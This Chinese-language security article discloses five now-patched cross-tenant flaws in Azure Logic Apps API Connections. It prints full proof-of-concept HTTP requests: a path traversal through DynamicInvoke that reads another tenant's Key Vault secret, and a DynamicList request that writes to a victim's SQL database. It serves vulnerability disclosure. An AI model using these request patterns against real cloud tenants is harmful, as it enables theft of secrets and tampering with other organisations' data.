安全研究人员近日披露了 Azure Logic Apps 中 API Connections 组件存在的五个严重跨租户漏洞。这些缺陷允许攻击者完全破坏全球范围内的其他连接,访问包括 Azure Key Vault、Azure SQL 数据库以及 Jira、Salesforce 等外部服务后端在内的敏感数据。该系列漏洞累计为研究者带来 20 万美元的赏金,相关技术细节已在蓝帽亚洲 2026(Black Hat Asia 2026)展会上进行详细分享。

核心风险概述
此次发现的核心问题在于 API 连接架构中的固有缺陷。通过利用这些漏洞,攻击者可实现完全跨租户入侵。尽管微软已针对部分边缘案例进行了修复,但攻击面依然广泛,涵盖关键库及多种外部集成服务。
架构原理与攻击面分析
Azure Logic Apps 的工作流程涉及以下关键环节:
- 逻辑应用程序查询共享的 Azure API 管理(APIM)实例;
- APIM 实例首先验证连接器类型的 Swagger (OpenAPI) 定义,确认操作有效性;
- 执行密钥交换,将输入令牌转换为后端服务的配置令牌;
- APIM 实例使用新令牌调用后端服务。
基于此架构,若能欺骗 APIM 实例在非授权连接上运行,即可获取后端服务的控制权。由于 ARM REST API 的 DynamicInvoke 或 /extensions/proxy/ 端点允许直接查询 APIM 服务,且资源管理器(ARM)拥有较高权限,这构成了潜在的攻击路径。
值得注意的是,虽然连接创建者可监控访问令牌,但在 OAuth 连接场景下,令牌通常仅由初始创建者的代码持有;而在 API 密钥场景中,此类监控往往被忽视。
首个利用:路径穿越读取 Key Vault
最初的跨租户利用通过 DynamicInvoke 端点实现,攻击者利用路径穿越漏洞读取不同租户的 Key Vault 秘密。
POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147
{
"request":{
"method":"get",
"path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
},
}
响应结果泄露了目标秘密:
HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329
{
"response": {
"statusCode": "OK",
"body": {
"value": "dontreadme",
"name": "victimsecret",
"version": "7914d45aa60342809fb8cc12dc68b10e",
"contentType": null,
"isEnabled": true,
"createdTime": "2025-04-04T05:38:26Z",
"lastUpdatedTime": "2025-04-04T05:38:26Z",
"validityStartTime": null,
"validityEndTime": null
},
"headers": {
<Headers>
}
}
}
这一明显的路径穿越漏洞表明,当请求从 ARM 发送至 APIM 时,系统默认信任其对所有连接的访问权,未充分校验上下文隔离。
绕过修复:发现隐藏端点 DynamicList
微软随后标记该漏洞已修复,限制了对特定路径的访问。
然而,研究人员在标准逻辑应用程序的专用主机中发现,相关验证代码包含对 ../ 的检查,暗示修复仅为黑名单机制。
进一步搜索 DynamicInvoke 相关代码时,研究人员发现了未被文档记录的其他函数定义,如 DynamicList。这些函数可通过修改 URI 路径直接访问,且具备类似功能。
由于修复仅针对 DynamicInvoke,DynamicList 端点仍可被利用。通过构造特定的 JSON 载荷,攻击者可在受害者的 SQL 服务器上执行任意写入操作:
POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json
{
"dynamicInvocationDefinition": {
"operationID": "nine",
"parameters": {
"one": {
"value": ".."
},
"two": {
"value": ".."
},
"three": {
"value": "sql"
},
"four": {
"value": "88d28f5ff7b642cfb91df184938d074c"
},
"five": {
"value": "v2"
},
"six": {
"value": "datasets"
},
"seven": {
"value": "victimservice.database.windows.net,VictimDatabase"
},
"eigth": {
"value": "query"
},
"nine": {
"value": "sql"
},
"query": {
"value": {
"query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
}
}
},
"ItemsPath": "ResultSets/Table1",
"ItemValuePath": "secrets",
"ItemTitlePath": "value"
}
}
最终,微软选择屏蔽所有此类动态调用端点以彻底解决该问题。
新向量:消费型逻辑应用的隐式访问
在动态调用路径被封堵后,研究人员转向逻辑应用程序本身的连接创建流程差异。消费型(Consumption)逻辑应用与工作流共享主机,创建版本 1 连接;而标准(Standard)逻辑应用拥有专用主机,创建版本 2 连接。
关键区别在于身份验证:版本 2 连接会授权特定逻辑应用的管理身份访问后端,而版本 1 连接缺乏此类显式授权机制。这意味着每个消费型逻辑应用隐含地可访问所有版本 1 的 API 连接,唯一的防线是输入验证。
通过 GUI 的代码视图,研究人员发现 host.api.RuntimeUrl 参数允许指定不同的运行时 URL。只要主机地址以 azure-apihub.net 结尾,系统便会包含所需的授权头,从而绕过连接归属检查。
利用此方法,攻击者成功获取了受害者的秘密信息:
修复后的回归与最终解决
微软再次介入修复,引入了严格的 URL 匹配验证。若运行时 URL 与预期 API 端点不匹配,系统将返回错误:
The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.
然而,这一修复存在时序漏洞。验证逻辑在错误的时间点检查了值,导致路径穿越攻击再次生效。运行时认为 URI 指向合法连接,但 APIM 实例解析出不同的路径。
经过多轮报告与修复,微软最终解决了所有发现的五个关键特权升级漏洞。目前,所有报告的缺陷均已得到修补。





